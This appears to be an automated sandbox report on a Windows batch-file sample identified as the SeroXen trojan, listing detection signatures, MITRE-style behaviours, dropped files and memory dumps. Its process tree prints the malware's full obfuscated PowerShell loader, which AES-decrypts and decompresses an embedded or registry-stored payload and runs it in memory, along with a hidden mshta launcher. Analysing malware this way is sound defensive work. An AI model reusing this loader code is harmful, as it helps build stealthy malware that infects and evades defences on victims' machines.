Analysis
- user interaction
yes - max time kernel
35s - max time network
36s - platform
windows10-2004_x64 - resource
win10v2004-20260129-en - resource tags
- submitted
08/04/2026, 09:40
General
- Target Uni.bat
- Size 11.9MB
- Sample260408-lnempsex2n
- SHA256 0e013c02ca3509f58d26b374a60483ae9fd4470d9dd31fd86db476a143a2cd5b
Malware Config
Signatures
- Seroxen family
- Seroxen, Ser0xen
Seroxen or SeroXen aka Ser0Xen is a trojan fist disovered in late 2022.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 3 IoCs
- Impair Defenses: Safe Mode Boot 1 TTPs 64 IoCs
- Hide Artifacts: Hidden Window 1 TTPs 1 IoCs
Windows that would typically be displayed when an application carries out an operation can be hidden.
- ConfuserEx .NET packer 2 IoCs
Detects ConfuserEx .NET packer.
- Drops file in Windows directory 6 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Modifies registry class 1 IoCs
- Suspicious behavior: EnumeratesProcesses 8 IoCs
- Suspicious use of AdjustPrivilegeToken 4 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Uni.bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function cvuMK($VGXKO){ $wOCyE=[System.Security.Cryptography.Aes]::Create(); $wOCyE.Mode=[System.Security.Cryptography.CipherMode]::CBC; $wOCyE.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $wOCyE.Key=[System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))('5KGJlsdfs2K1GuioC+Ca7Za317OVrfOuGA7DysBetto='); $wOCyE.IV=[System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))('7CEVBwPI/sJTgJo/6LvX3g=='); $hRIvH=$wOCyE.CreateDecryptor(); $return_var=$hRIvH.TransformFinalBlock($VGXKO, 0, $VGXKO.Length); $hRIvH.Dispose(); $wOCyE.Dispose(); $return_var;}function aFYfA($VGXKO){ $xalqg=New-Object System.IO.MemoryStream(,$VGXKO); $bkSwW=New-Object System.IO.MemoryStream; Invoke-Expression '$VwiEs #=# #N#e#w#-#O#b#j#e#c#t# #S#y#s#t#e#m#.#I#O#.#C#o#m#p#r#e#s#s#i#o#n#.#G#Z#i#p#S#t#r#e#a#m#(#$xalqg,# #[#I#O#.#C#o#m#p#r#e#s#s#i#o#n#.#C#o#m#p#r#e#s#s#i#o#n#M#o#d#e#]#:#:#D#e#c#o#m#p#r#e#s#s#)#;#'.Replace('#', ''); $VwiEs.CopyTo($bkSwW); $VwiEs.Dispose(); $xalqg.Dispose(); $bkSwW.Dispose(); $bkSwW.ToArray();}function pUtVz($VGXKO,$qWaic){ $GvCxN = @( '$dSXpA = [System.Reflection.Assembly]::("@L@o@a@d@".Replace("@", ""))([byte[]]$VGXKO);', '$hGKSO = $dSXpA.EntryPoint;', '$hGKSO.Invoke($null, $qWaic);' ); foreach ($vytyl in $GvCxN) { Invoke-Expression $vytyl };}$KjwpV=[System.IO.File]::("@R@e@a@d@A@l@l@T@e@x@t@".Replace("@", ""))('C:\Users\Admin\AppData\Local\Temp\Uni.bat').Split([Environment]::NewLine);foreach ($tCDEi in $KjwpV) { if ($tCDEi.StartsWith('SEROXEN')) { $iFwPA=$tCDEi.Substring(7); break; }}$uniIF=aFYfA (cvuMK ([Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))($iFwPA)));pUtVz $uniIF (,[string[]] ('C:\Users\Admin\AppData\Local\Temp\Uni.bat')); "2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ep bypass -noprofile -windowstyle hidden2⤵
- Command and Scripting Interpreter: PowerShell
- Impair Defenses: Safe Mode Boot
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\$sxr-mshta.exeC:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-EuNdGLUHFlArpBxdiXIN4312:yHOBkVAD=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"1⤵
- Checks computer location settings
- Executes dropped EXE
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Windows\$sxr-cmd.exe"C:\Windows\$sxr-cmd.exe" /c %$sxr-EuNdGLUHFlArpBxdiXIN4312:yHOBkVAD=%2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function xdRlX($KTDcL){ $CaLon=[System.Security.Cryptography.Aes]::Create(); $CaLon.Mode=[System.Security.Cryptography.CipherMode]::CBC; $CaLon.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $CaLon.Key=[System.Convert]::('@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@'.Replace('@', ''))('JOX+UM6JbIY1yF72S/+QeLIiH1Y7UN6XYcEGrI97Wh8='); $CaLon.IV=[System.Convert]::('@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@'.Replace('@', ''))('NhUktSQTvDQPEO0kzXnzqg=='); $fphRh=$CaLon.('@C@r@e@a@t@e@D@e@c@r@y@p@t@o@r@'.Replace('@', ''))(); $Pklfc=$fphRh.('@T@r@a@n@s@f@o@r@m@F@i@n@a@l@B@l@o@c@k@'.Replace('@', ''))($KTDcL, 0, $KTDcL.Length); $fphRh.Dispose(); $CaLon.Dispose(); $Pklfc;}function aOhWH($KTDcL){ $QCcTi=New-Object System.IO.MemoryStream(,$KTDcL); $iJOfY=New-Object System.IO.MemoryStream; Invoke-Expression '$IDrbE @=@ @N@e@w@-@O@b@j@e@c@t@ @S@y@s@t@e@m@.@I@O@.@C@o@m@p@r@e@s@s@i@o@n@.@G@Z@i@p@S@t@r@e@a@m@(@$QCcTi,@ @[@I@O@.@C@o@m@p@r@e@s@s@i@o@n@.@C@o@m@p@r@e@s@s@i@o@n@M@o@d@e@]@:@:@D@e@c@o@m@p@r@e@s@s@)@;@'.Replace('@', ''); $IDrbE.CopyTo($iJOfY); $IDrbE.Dispose(); $QCcTi.Dispose(); $iJOfY.Dispose(); $iJOfY.ToArray();}function DIhvJ($KTDcL){ $Pklfc = [System.Convert]::('@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@'.Replace('@', ''))($KTDcL); $Pklfc = xdRlX($Pklfc); $Pklfc = [System.Text.Encoding]::('@U@T@F@8@'.Replace('@', '')).('@G@e@t@S@t@r@i@n@g@'.Replace('@', ''))($Pklfc); return $Pklfc;}function execute_function($KTDcL,$drOJu){ $OTBka = @( '$BLCrl = [System.Reflection.Assembly]::Load([byte[]]$KTDcL);', '$mzRuA = $BLCrl.EntryPoint;', '$mzRuA.Invoke($null, $drOJu);' ); foreach ($VICTV in $OTBka) { Invoke-Expression $VICTV };}$jCLuL = DIhvJ('kKvCaGY9yDPt45pjlJ5HTQ==');$gBGms = DIhvJ('3qVsmzePDU4y10a7a6mzmi/7Mk+TFKeA/wJUwmdcPGQ=');$Kcpma = DIhvJ('uldxysM3fyIvMU8obXTQhA==');$yuYsp = DIhvJ('dDqsaaMwfBgcHY1D5c++Lg==');if (@(get-process -ea silentlycontinue $yuYsp).count -gt 1) {exit};$RKgdw = [Microsoft.Win32.Registry]::('@L@o@c@a@l@M@a@c@h@i@n@e@'.Replace('@', '')).('@O@p@e@n@S@u@b@k@e@y@'.Replace('@', ''))($jCLuL).('@G@e@t@V@a@l@u@e@'.Replace('@', ''))($gBGms);$vENZq=aOhWH (xdRlX ([Convert]::('@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@'.Replace('@', ''))($RKgdw)));execute_function $vENZq (,[string[]] ($Kcpma)); "3⤵
-
-
C:\Windows\$sxr-powershell.exeC:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass3⤵
- Executes dropped EXE
- Hide Artifacts: Hidden Window
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
ModuleAnalysisCache
__PSScriptPolicyTest_fpsnzqu5.wlq.ps1
$sxr-cmd.exe
$sxr-mshta.exe
$sxr-powershell.exe
memory/924-62-0x000001A253B00000-0x000001A253BB2000-memory.dmp
memory/924-61-0x000001A253690000-0x000001A253AFC000-memory.dmp
memory/924-60-0x000001A252E90000-0x000001A25368A000-memory.dmp
memory/924-59-0x000001A2528D0000-0x000001A252E8E000-memory.dmp
memory/924-57-0x00007FF8DAF90000-0x00007FF8DB185000-memory.dmp
memory/924-56-0x00007FF8D96D0000-0x00007FF8D978E000-memory.dmp
memory/924-55-0x000001A251FC0000-0x000001A2525D0000-memory.dmp
memory/2176-14-0x00007FF8DAF90000-0x00007FF8DB185000-memory.dmp
memory/2176-18-0x00007FF8DB02D000-0x00007FF8DB02E000-memory.dmp
memory/2176-20-0x00000135D15E0000-0x00000135D20AA000-memory.dmp
memory/2176-21-0x00000135D20B0000-0x00000135D214A000-memory.dmp
memory/2176-23-0x00000135D14E0000-0x00000135D1532000-memory.dmp
memory/2176-24-0x00000135D2150000-0x00000135D21A8000-memory.dmp
memory/2176-25-0x00000135D10D0000-0x00000135D10FE000-memory.dmp
memory/2176-32-0x00000135B70B0000-0x00000135B70B8000-memory.dmp
memory/2176-33-0x0000000180000000-0x0000000180009000-memory.dmp
memory/2176-37-0x00007FF8DB02D000-0x00007FF8DB02E000-memory.dmp
memory/2176-39-0x00007FF8DAF90000-0x00007FF8DB185000-memory.dmp
memory/2176-19-0x00007FF8DAF90000-0x00007FF8DB185000-memory.dmp
memory/2176-17-0x00000135B8980000-0x00000135B898C000-memory.dmp
memory/2176-16-0x00000135B8F90000-0x00000135B8FA0000-memory.dmp
memory/2176-15-0x00000135B8F90000-0x00000135B8FA0000-memory.dmp
memory/2176-1-0x00000135B8F90000-0x00000135B8FA0000-memory.dmp
memory/2176-13-0x00007FF8D96D0000-0x00007FF8D978E000-memory.dmp
memory/2176-12-0x00000135F9CD0000-0x00000135FA568000-memory.dmp
memory/2176-11-0x00000135D1560000-0x00000135D15D6000-memory.dmp
memory/2176-10-0x00000135D1110000-0x00000135D1154000-memory.dmp
memory/2176-2-0x00000135D1060000-0x00000135D1082000-memory.dmp
memory/2176-0-0x00000135B8F90000-0x00000135B8FA0000-memory.dmp